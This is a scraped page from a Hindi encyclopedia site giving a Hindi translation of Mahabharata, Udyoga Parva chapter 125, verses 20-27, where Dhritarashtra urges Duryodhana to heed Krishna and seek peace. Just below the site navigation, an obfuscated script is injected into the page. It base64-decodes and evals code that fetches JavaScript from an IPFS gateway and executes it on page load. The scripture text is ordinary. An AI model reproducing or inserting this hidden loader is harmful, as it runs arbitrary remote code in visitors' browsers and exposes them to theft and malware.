महाभारत उद्योग पर्व अध्याय 125 श्लोक 20-27

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पञ्चविंशत्यधिकशततम (125) अध्‍याय: उद्योग पर्व (भगवद्-यान पर्व)

महाभारत: उद्योग पर्व: पञ्चविंशत्यधिकशततम अध्याय: श्लोक 20-27 का हिन्दी अनुवाद

‘क्योंकि ये दोनों तुम-जैसे दुष्ट सहायक के कारण मित्रों और मंत्रियों के मारे जाने पर पंख कटे हुए पक्षियों की भांति अनाथ (असहाय) होकर विचरेंगे। ‘तुम्हारे जैसे पापी और कुलघाती कुपुरुष पुत्र को जन्म देने के कारण ये दोनों शोकमग्न हो भिक्षुक की भांति इस पृथ्वी पर इधर-उधर भटकते फिरेंगे’।तत्पश्चात् राजा धृतराष्ट्र ने राजाओं से घिरकर भाइयों के साथ बैठे हुए दुर्योधन से कहा -। ‘दुर्योधन ! मेरी इस बात पर ध्यान दो । महात्मा श्रीकृष्ण ने जो बात बताई है, वह अत्यंत कल्याणकारक, योगक्षेम की प्राप्ति करानेवाली तथा दीर्घकाल तक स्थिर रहनेवाली है, तुम इसे स्वीकार करो । ‘अनायास ही महान् कर्म करनेवाले इन भगवान श्रीकृष्ण की सहायता से हम लोग समस्त राजाओं में सम्मानित रहकर अपने सभी अभीष्ट मनोरथों को प्राप्त कर लेंगे। ‘तात ! भगवान श्रीक़ृष्ण से मिलकर तुम युधिष्ठिर के पास जाओ और पूर्ण रूप से मंगल सम्पादन करो, जिससे भरतवंशियों को कोई क्षति न उठानी पड़े। ‘तात ! भगवान श्रीक़ृष्ण को मध्यस्थ बनाकर अब शांति धारण करो । मैं तुम्हारे लिए यही समयोचित कर्तव्य मानता हूँ । दुर्योधन ! तुम मेरी इस आज्ञा का उल्लंघन न करो । ‘यदि तुम शांति के लिए प्रार्थना करनेवाले भगवान श्रीक़ृष्ण का जो तुम्हारे हित की बात बता रहे हैं, तिरस्कार करोगे- इनकी आज्ञा नहीं मानोगे तो तुम्हारा पराभव हुए बिना नहीं रह सकता’।

इस प्रकार श्रीमहाभारत उद्योगपर्व के अंतर्गत भगवादयानपर्व में भीष्म आदि के वचनों से संबंध रखनेवाला एक सौ पच्चीसवाँ अध्याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।